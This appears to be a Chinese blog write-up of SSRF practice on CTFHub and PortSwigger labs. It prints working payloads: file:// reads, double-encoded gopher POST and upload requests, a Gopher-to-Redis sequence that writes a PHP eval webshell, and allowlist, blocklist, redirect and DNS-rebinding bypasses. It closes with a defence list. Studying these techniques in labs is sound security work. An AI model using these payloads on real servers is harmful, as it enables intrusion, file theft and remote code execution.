文章目錄
- 前言
- SSRF基礎利用
- 1.1 http://內網資源訪問
- 1.2 file:///讀取內網文件
- 1.3 dict://探測內網端口
- SSRF進階利用
- 2.1 Gopher協議Post請求
- 2.2 Gopher協議文件上傳
- 2.3 Gopher+Redis->RCE
- 2.4 JavaWeb中的適用性?
- SSRF防御繞過
- 3.1 Url黑名單檢測的繞過
- 3.2 Url白名單檢測的繞過
- 3.3 Url重定向->繞過校驗
- 3.4 dns重綁定->繞過校驗
- 總結
前言
SSRF 屬于在實戰中較為常見的一類漏洞, 2019 年簡單學習總結過 SSRF 基礎知識《Web安全-SSRF漏洞-CSDN博客》,2020 年通過《滲透測試-Weblogic SSRF漏洞復現》和《從0到1淺析Redis服務器反彈Shell那些事》也學習了借助 SSRF 漏洞+Redis 服務器反彈 Shell 的技巧,本文進一步系統學習總結以下 SSRF 漏洞的利用技巧和修復缺陷方案的繞過手段。
SSRF基礎利用
下文將圍繞 CTFHub SSRF 技能樹的實驗展開練習:
1.1 http://內網資源訪問
很明顯的 SSRF 漏洞:
根據題目提示讀取 Flag.php:
1.2 file:///讀取內網文件
SSRF 漏洞利用過程常使用的偽協議類型:
協議類型 | 協議數據格式 | 協議介紹 |
---|---|---|
file | file://文件絕對路徑名 | 主要用于讀取服務器本地文件,訪問本地的靜態資源 |
dict | ditc://ip:port、ditc://ip:port/命令 | 一般常用來探測內網主機以及端口開放情況,也可以用來執行一些服務的命令,如 redis |
sftp | sftp://ip:port | Sftp 代表 SSH 文件傳輸協議或安全文件傳輸協議,用于 Linux |
tftp | tftp://ip:port/文件 | 簡單文件傳輸協議允許客戶端從遠程主機獲取文件或將文件上傳至遠程主機 |
gopher | gopher://ip:port/_TCP/IP數據流 | 分布式文檔傳遞服務,使用 gopher 可發送各種格式的請求包,利用此協議可以攻擊內網的 FTP、Telnet、Redis、Memcache,也可以進行 GET、POST 請求,可使用 gopherus (工具) 生成 payload |
此處采用 file 協議讀取本地文件:?url=file:///var/www/html/flag.php
1.3 dict://探測內網端口
根據題目提示,進行端口爆破,此處采用 dict 協議進行端口探測:
發現 8122 端口的相應包與眾不同,修改為 http 協議發起 SSRF 請求,獲得 Flag:
SSRF進階利用
2.1 Gopher協議Post請求
先看看題目,給出了如下提示:
借助 SSRF 訪問 /flag.php 可以看到一個 key:
借助 file 協議查看 /flag.php、index.php 源碼:
flag.php 很好理解,檢查客戶端請求是否通過 post 傳遞了一個有效 key 值,是的話則輸出 Flag。而 index.php 則需進一步解釋下:
<?php//關閉錯誤報告error_reporting(0);
//判斷url參數是否存在
if (!isset($_REQUEST['url'])){//不存在就跳轉到當前根目錄header("Location: /?url=_");exit;
}
//初始化curl
$ch = curl_init();
//指定請求的url
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
//告訴curl不返回http頭,只返回http正文
curl_setopt($ch, CURLOPT_HEADER, 0);
//允許curl跟隨重定向。如果服務器響應包含重定向,curl將自動處理。
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
解題思路自然就是:通過 index.php 傳遞一個訪問 flag.php 且攜帶目標 key 值的 url(需要 POST 請求),系統會通過 curl 訪問此 URL。如何使得 SSRF 漏洞能發起 POST 請求?此時 gopher 協議便登場了。
Gopher 是早期的 Internet 信息檢索系統,通過索引將用戶引導至不同資源,主要使用 TCP 70 端口,在 WWW 普及前,它是主要的檢索工具,但現已基本過時,使用較少。gopher 協議支持發出 GET、POST 請求:可以先截獲 get 請求包和 post 請求包,在構成符合 gopher 協議的請求。gopher 協議是 SSRF 利用中最強大的協議。
嘗試使用 Gopher 協議向服務器發送 POST 包,首先構造 Gopher 協議所需的 POST 請求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencodedkey=e5b1f488acba169d68b828a7b3b6a7bc
在使用 Gopher協議發送 POST 請求包時,Host、Content-Type
和Content-Length
請求頭是必不可少的,但在 GET 請求中可以沒有,而 key 值為前面訪問 flag.php 的時候從注釋中所獲得的。
在向服務器發送請求時,首先瀏覽器會進行一次 URL解碼,其次服務器收到請求后,在執行 curl 請求時,進行第二次 URL 解碼。所以我們需要對構造的請求包進行兩次 URL 編碼。同時注意:在第一次編碼后的數據中,將%0A
(換行符)全部替換為%0D%0A
。因為%0A
是 ASCII 碼中的換行符,在 URL 的二次編碼中不需要,否則會導致 curl 執行錯誤,導致我們拿不到正確的結果。
然后通過以下請求將上述二次編碼后的數據發送出去:
//使用gopher協議,構造payload
?url=gopher://127.0.0.1:80/_二次編碼的url(注意別少了前面那個下劃線)
成功獲得 Flag:
2.2 Gopher協議文件上傳
查看 flag.php 源碼:
提示我們上傳 Webshell,同時從代碼上看,只要往 flag.php 傳遞一個 size>0 的 file 即可成功拿到 Flag:
此題目與上一題的區別在于上一題直接通過 Gopher 協議發送 Post 請求到 flag.php 并傳遞 key 值即可,而此題目需要通過 Gopher 協議傳輸文件。
在開發者工具中鼠標右鍵選擇“以 HTML 元素修改”,臨時修改前端代碼,添加文件上傳的提交按鈕:
<input type="submit" name="submit">
目的是提交測試文件并捕獲報文:
于是可以構造目標報文如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plainSSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
接下來的目標就是通過 index.php 的 SSRF 漏洞,借助 Gopher 協議發送上述報文到 flag.php,即可獲得 Flag。
跟上一題一樣進行 URL 編碼(http://www.hiencode.com/url.html)獲得最終 Payload:
注意第一次 URL 編碼后需要將 %0A(換行符)全部替換為%0D%0A
。
然后進行第二次 URL 編碼獲得最終的 Payload:
Payload 完整如下:
/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--
2.3 Gopher+Redis->RCE
此題目參考資料參見原來我寫的博文《從0到1淺析Redis服務器反彈Shell那些事》即可,此文介紹了 Redis 服務進行 RCE 的常見思路,同時剛好在最后一章節提及 SSRF 借助 Redis 實現 RCE 的思路但未進行實踐,此處通過此題目進行實踐下。
此題目思路很簡單,利用 SSRF 漏洞,借助 Gopher 協議往 Redis 寫入如下木馬:
config set dir /var/www/html/
config set dbfilename shell.php
set xxx "<?php eval($_POST['cmd']);?>"
save
此處直接使用 Gophar 協議利用工具 Gopharus,該工具將幫助我們生成 Gopher 有效負載,以利用 SSRF(服務器端請求偽造)并獲得 RCE(遠程代碼執行)。 而且它將幫助我們在受害服務器上獲得 shell,使用方法非常簡單,按照提示就可以生成 payload 了:
python2 gopherus.py --exploit redis________ .__/ _____/ ____ ______ | |__ ___________ __ __ ______
/ \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/
\ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \\______ /\____/| __/|___| /\___ >__| |____//____ >\/ |__| \/ \/ \/author: $_SpyD3r_$
Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShellGive web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST['cmd']);?>Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%27cmd%27%5D%2onfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.
再進行一次 URL 編碼得到最終 Payload:
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
發送上述 Payload:
報了 504 但是中國蟻劍連接成功:
2.4 JavaWeb中的適用性?
為了檢驗上述利用方法在 JavaWeb 項目的適用性,使用 Java 開源靶場項目 java-sec-code 作為驗證。
在 Ubuntu 虛擬機一鍵啟動靶場環境,環境信息如下:
此靶場 SSRF 漏洞源碼 SSRF.java 如下:
//https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java
@RestController
@RequestMapping("/ssrf")
public class SSRF {private static final Logger logger = LoggerFactory.getLogger(SSRF.class);@Resourceprivate HttpService httpService;/*** <p>* The default setting of followRedirects is true. <br>* Protocol: file ftp mailto http https jar netdoc. <br>* UserAgent is Java/1.8.0_102.* </p>* <a href="http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd">http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd</a>*/@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})public String URLConnectionVuln(String url) {return HttpUtils.URLConnection(url);}……
}
訪問靶場,默認支持 file:/// 協議讀取文件:
驗證下 Gopher 協議是否適用,目標是發送以下報文:
GET /appInfo HTTP/1.1
Host: 192.168.0.121:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.121:8080/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=15FFC3C7B34EE1DAEE84887FC287C44D; XSRF-TOKEN=47010a48-ee4a-46b0-99be-1d60be80a252; remember-me=YWRtaW46MTcyMTgzNjI5NzQxOTo3ZmU5OGRjODZhZmU1ZjM3Zjc4MjU1M2Q0Yzc4OGU4ZA
Connection: close
進行 URL 編碼后發送,結果系統并不支持 Gopher 協議:
參考《從1開始的Java代碼審計·第四彈·SSRF》可以看到大致的原因:
【More1】
從 《奇安信攻防社區-SSRF突破對file協議的限制》看到一種繞過 file 協議限制的方法:
url:file://xxx
【More2】
順便在此提前實踐下下一章節才會提到的 URL 過濾 Bypass 技巧是否適用(建議看完全文再回來看此):
SSRF防御繞過
SSRF 漏洞常見的修復方案是對外部傳遞的 URL 進行過濾,但是過濾不當的情況下又容易被 Bypass,下文來看看相關 Bypass 技巧 ,實驗案例除了上文提到的 CTEHub 外,還會借助:https://portswigger.net/web-security/ssrf。
3.1 Url黑名單檢測的繞過
【理論知識】
某些應用程序會阻止包含主機名(如 127.0.0.1 和 localhost )或敏感 URL(如 /admin),在這種情況下,您通常可以使用以下技術繞過過濾器:
- 使用 127.0.0.1 的 IP 表示形式,例如
2130706433(10進制ip)
、017700000001(8進制ip)
或127.1(短ip)
; - 注冊您自己的域名,該域名解析為 127.0.0.1 ,可以使用 spoofed.burpcollaborator.net 達到此目的;
- 使用 URL 編碼或大小寫變體對被阻止的字符串進行模糊處理;
【實驗環境】
https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter。
訪問實驗地址是個商城,單擊商品詳情頁的庫存檢查,發現如下攜帶 URL 參數的請求:
根據題目要求,目標是訪問 http://localhost/admin 界面并刪除用戶 carlos,訪問 localhost、127.0.0.1 均被攔截:
上 Bypass 技巧,用 127.1 替代 127.0.0.1,成功繞過:
但是訪問 http://127.1/admin 依舊被攔截,說明攔截了 admin 關鍵詞:
對 admin 的首字母 a 進行二次 URL 編碼,得到 %2561(a 第一次 URL 編碼為 %61,第二次進行URL編碼,%符號被編碼成 %25,從而導致結果為 %2561),使用它繞過 admin 關鍵詞檢測 http://127.1/%2561dmin:
訪問 http://127.1/%2561dmin/delete?username=carlos 即可刪除用戶完成實驗:
3.2 Url白名單檢測的繞過
【理論知識】
一些應用程序只允許匹配上白名單范圍內的輸入,過濾器可能會在輸入的開頭或包含在輸入中查找匹配項。您可以通過利用 URL 解析中的不一致來繞過此過濾器。URL 規范包含了許多在實現 URL 特定解析和驗證時容易被忽略的特性:
- HTTP 基本身份認證特性允許 Web 瀏覽器或其他客戶端程序在請求時提供用戶名和口令形式的身份憑證的一種登錄驗證方式,例如:https://expected-host:fakepassword@evil-host,這里的
@
是主域名解析,即@
符號后面直接跟域名,@
符號前面的內容會被視為用戶名,相當于以 expected-host:fakepassword 的用戶名訪問 evil-host,至于用戶名是啥不重要,關鍵是@
后面的才是解析的地址! - 在 URL 中,
#
號后面的內容被稱為片段標識符(fragment identifier),在客戶端瀏覽器中,#
及其后面的內容不會被發送到服務器。比如,訪問http://example.com/page#fragment 時,瀏覽器只會向服務器發送 http://example.com/page,#fragment
部分只在客戶端解析,故可以借助https://evil-host#expected-host 繞過 url.contain(“expected-host”) 格式的域名白名單檢測并最終訪問 evil-host; - 您可以利用 DNS 命名層次結構將所需的輸入放入您控制的標準 DNS 名稱中。例如:https://expected-host.evil-host;
【實驗環境 1】
CTFHub SSRF
使用 ?url=http://notfound.ctfhub.com@127.0.0.1/flag.php 繞過:
【實驗環境 2】
https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter
SSRF 漏洞點依舊在商品詳情的檢查庫存請求之中,簡單的探測可以發現,服務端將stock.weliketoshop.net
設置為白名單域名:
如何繞過 stock.weliketoshop.net
白名單限制??添加#
發現不行:
嘗試對 # 號進行二次 URL 編碼來繞過 # 檢測?得到%2523
(# 符號的原始編碼是%23。當進行二次URL編碼時,已經編碼的 % 符號本身也會被再次編碼,因此%符號被編碼成%25,從而導致%23變成%2523),成功繞過(僅僅依靠 # 無法繞過的話,嘗試組合拳,加上 @ 試試):
最終刪除目標賬戶的 Payload 為:http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos
3.3 Url重定向->繞過校驗
【理論知識】
有時可以通過利用重定向漏洞來繞過基于過濾器的防御。在前面的示例中,假設用戶提交的 URL 經過嚴格驗證,以防止惡意利用 SSRF 行為。但是,允許 URL 的應用程序包含開放重定向漏洞。如果用于發出后端 HTTP 請求的 API 支持重定向,您可以構造一個滿足過濾器的 URL,并將請求重定向到所需的后端目標。例如,該應用程序包含一個開放重定向漏洞,其中 URL 如下:
/product/nextProduct?currentProductId=6&path=http://evil-user.net
返回重定向到:
http://evil-user.net
您可以利用開放重定向漏洞繞過 URL 過濾,利用 SSRF 漏洞,如下:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 118stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
此 SSRF 漏洞之所以有效,是因為應用程序首先驗證提供的 stockAPI URL 是否位于允許的域上(事實確實如此)。然后,應用程序請求提供的 URL,這會觸發開放重定向。它遵循重定向,并向攻擊者選擇的內部 URL 發出請求。
【實驗環境】
https://portswigger.net/web-security/ssrf/lab-ssrf-filter-bypass-via-open-redirection
觀察到存在重定向漏洞的功能點:
于是乎,借助 URL 重定向解決過濾:
最終刪除用戶的 Payload 如下:
/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
3.4 dns重綁定->繞過校驗
【理論知識】
先介紹兩個概念:
- DNS 是 Domain Name Service 的縮寫,計算機域名服務器,在 Internet 上域名與 IP 地址之間是一一對應的,域名雖然便于人們記憶,但機器之間只能互相認識 IP 地址,它們之間的轉換工作稱為域名解析,而域名解析需要由專門的域名解析服務器來完成,這就是 DNS 域名服務器。
- TTL值全稱是“生存時間(Time To Live)”,簡單的說它表示 DNS 記錄在 DNS 服務器上緩存時間,數值越小,修改記錄各地生效時間越快。當各地的 DNS(LDNS) 服務器接受到解析請求時,就會向域名指定的授權DNS 服務器發出解析請求從而獲得解析記錄;該解析記錄會在 DNS(LDNS) 服務器中保存一段時間,這段時間內如果再接到這個域名的解析請求,DNS 服務器將不再向授權 DNS 服務器發出請求,而是直接返回剛才獲得的記錄;而這個記錄在 DNS 服務器上保留的時間,就是 TTL 值。
然后說說對于常見的 IP 限制,后端服務器可能通過下圖的流程進行 IP 過濾:
- 對于用戶請求的 URL 參數,首先服務器端會對其進行 DNS 解析,然后對于 DNS 服務器返回的 IP 地址進行判斷,如果在黑名單中,就 pass 掉。
- 但是在整個過程中,第一次去請求 DNS 服務進行域名解析到第二次服務端去請求 URL 之間存在一個時間查,利用這個時間差,我們可以進行 DNS 重綁定攻擊。
要完成DNS重綁定攻擊,我們需要一個域名,并且將這個域名的解析指定到我們自己的 DNS Server,在我們的可控的 DNS Server 上編寫解析服務,設置 TTL 時間為 0。這樣就可以進行攻擊了,完整的攻擊流程為:
- 服務器端獲得 URL 參數,進行第一次 DNS 解析,獲得了一個非內網的 IP;
- 服務端對于獲得的 IP 進行判斷,發現為非黑名單 IP,則通過驗證;
- 服務器端對于 URL 進行訪問,由于 DNS 服務器設置的 TTL 為 0,所以再次進行 DNS 解析,這一次攻擊者的 DNS 服務器返回的是內網地址。
- 由于已經繞過驗證,所以服務器端返回訪問內網資源的結果。
總結來說:由于我們無法在程序運行時以毫秒為單位手動更改 DNS 記錄,所以要想實現 DNS 重綁定攻擊,就必須配置一個自定義的惡意 DNS 服務器,并設定好指定域名的解析 IP,再將 TTL 設置為 0,使其解析時在非法內網 IP 與合法其他IP間反復橫跳。
【實驗環境】
CTFHub SSRF
用下面這個網站可以進行 DNS 重綁定:https://lock.cmpxchg8b.com/rebinder.html。
綁定的兩個 ip 中保證有一個是 127.0.0.1 即可,我這里和 192.168.0.1 綁定了,結果為 7f000001.c0a80001.rbndr.us。因此我們的url=7f000001.c0a80001.rbndr.us/flag.php
,注意這個域名相當于綁定了兩個 ip 地址(同一時刻只對應一個),由于無法確定進行 dns 校驗時的 ip 是否為 127.0.0.1,可能一次請求不成功,多刷新幾次即可。
總結
本文借助 CTFHub 與 portswigger 兩個 SSRF 靶場,實踐練習了 SSRF 漏洞的基礎利用(內網訪問、文件讀取、端口探測)和進階利用(Gopher 協議發送 post 請求、攻擊 Redis 實現 RCE 等),最后實踐了常見的防御方案繞過手段(黑白名單繞過、重定向、DNS 綁定等)。
最后說下 SSRF 漏洞的防御手段:
- 禁止302跳轉,或者每跳轉一次都進行校驗目的地址是否為內網地址或合法地址。
- 過濾返回信息,驗證遠程服務器對請求的返回結果,是否合法。
- 禁用高危協議,例如:gopher、dict、ftp、file 等,只允許 http/https;
- 設置 URL 白名單或者限制內網 IP;
- 限制請求的端口為 http 的常用端口,或者根據業務需要治開放遠程調用服務的端口;
- catch錯誤信息,做統一錯誤信息,避免黑客通過錯誤信息判斷端口對應的服務。
參考文章:
- What is SSRF (Server-side request forgery)?
- SSRF Cheat Sheet & Bypass Techniques;
- SSRF (Server Side Request Forgery) | HackTricks;
- 從1開始的Java代碼審計·第四彈·SSRF;
- 干貨 | SSRF的防御與繞過 - SecPulse.COM | 安全脈搏;
- CTFHub之Web篇之Web實戰之SSRF(更新中~~) - AcWing;